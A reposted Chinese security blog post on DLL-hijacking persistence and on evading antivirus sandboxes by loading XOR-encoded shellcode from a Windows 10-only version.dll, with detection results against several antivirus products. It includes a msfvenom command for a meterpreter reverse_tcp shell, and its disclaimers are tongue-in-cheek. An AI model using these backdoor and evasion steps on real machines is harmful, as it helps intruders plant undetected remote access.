本次投稿至华盟网,转自公众号黑白之道
原文:https://mp.weixin.qq.com/s/4ZSszQVzt2oYd3seePeg-A
本文所采用技术,仅用来实现自定义功能,适用场景仅为授权的测试中进行权限维持或为个人电脑添加定~制~化~功能,如:启动QQ同时启动计算器,方便实用~
0x01 前言
之前写过一篇文章《内网渗透:dll劫持权限维持研究》,研究了如何为个人电脑添加定~制~化~功能:启动QQ同时启动计算器,并把项目放到了github上
https://github.com/LDrakura/DLLhijack-ShellcodeLoader
该项目原理是利用dll劫持+shellcode执行的方式实现的,但一些小伙伴反馈说,启动qq同时执行计算器没有问题,但是如果启动qq同时上线就会报毒。我思考了很久也不太理解,为什么会报毒呢?把自动登录以及记住密码勾选上,下次启动qq不是就直接就上线了嘛?
0x02 杀毒与沙箱
杀毒引擎查杀木马分为静态与动态查杀,静态查杀是指不运行程序,通过文件hash,文件特征等对已知病毒的查杀。动态查杀是指运行起程序,通过分析进程行为,进行查杀。
因为一些病毒木马是有破坏性的,像勒索病毒,在动态分析具有破坏性病毒时,往往会造成不可逆的损害,因此一般将程序放入沙箱进行分析。一些沙箱实际上就是定~制~化~的虚拟机。如国内某步:
实际使用win7沙箱对木马进行动态查杀。
0x03 思路产生
不同windows版本肯定是有一些区别的,可能是api区别,也可能是一些库的区别。因此如果通过不同版本的windows的差异来编写权限维持程序,是否可以躲避沙箱的查杀?
我找到这一样个dll:
在win10上的导出函数如下:
在win7上的导出函数如下:
这个DLL文件应该是更新过,在win7与win10上不同,且不通用,如果编写win10版的version.dll对程序进行劫持,是否可以绕过win7的沙箱检测呢?(反过来也可以)
目前个人感觉市面上大多数在线杀毒引擎,win7沙箱所占比例较高,而且一些引擎可能还未使用win10沙箱。
0x04 查杀测试
首先生成真实后门shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.110 LPORT=12345 -f c
使用shellcode编写win7win10通用dll
代码参考:https://github.com/LDrakura/DLLhijack-ShellcodeLoader
文章参考:内网渗透:dll劫持权限维持研究
通用DLL && 未修改shellcode:
部分代码如下:
编译成winmm_common.dll
未进行任何修改,直接将shellcode放入dll中,编译成功对DLL进行查杀(某步),直接报毒:
运行截图无异常:
可以看出,未经修改的shellcode,放入普通通用dll中,引擎是会报毒的。
通用DLL && shellcode异或:
我们将shellcode简单异或编码一下并在代码中还原,使其失去明显特征,代码如下:
编译成winmm_xor.dll
上传某步进行查杀。结果如下:
运行截图无异常:
去除了部分静态特征,静态引擎查杀变少了,但动态行为依然存在敏感行为。
非通用DLL && 未修改shellcode:
使用win10下的version.dll非通用库,原始shellcode,代码如下:
编译成version_common.dll:
上传某步进行查杀:
运行时截图:
行为特征已经没了,只剩下静态特征,运行时都报错了,哪来的行为特征。
(那个PDB路径无视,vs配置可以去掉,懒了没改)
非通用DLL && shellcode异或:
可以发现,dll在沙箱中已无法正常运行,因此也不存在动态行为检测,因此我们只要去除代码中的静态特征即可。对shellcode进行简单异或,并在代码中进行还原,代码如下:
编译成version_xor.dll:
上传某步进行查杀:
运行截图:
动静全无,安全文件。
0x05 实际效果
实际免杀效果受多重因素影响,较为复杂,仅简单测试,不作为结论。
测试环境:win10
火绒:
360:
腾讯电脑管家:
0x06 声明
*本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。
来源:freebuf.com 2021-03-12 17:40:06 by: LDrakura
请登录后发表评论
注册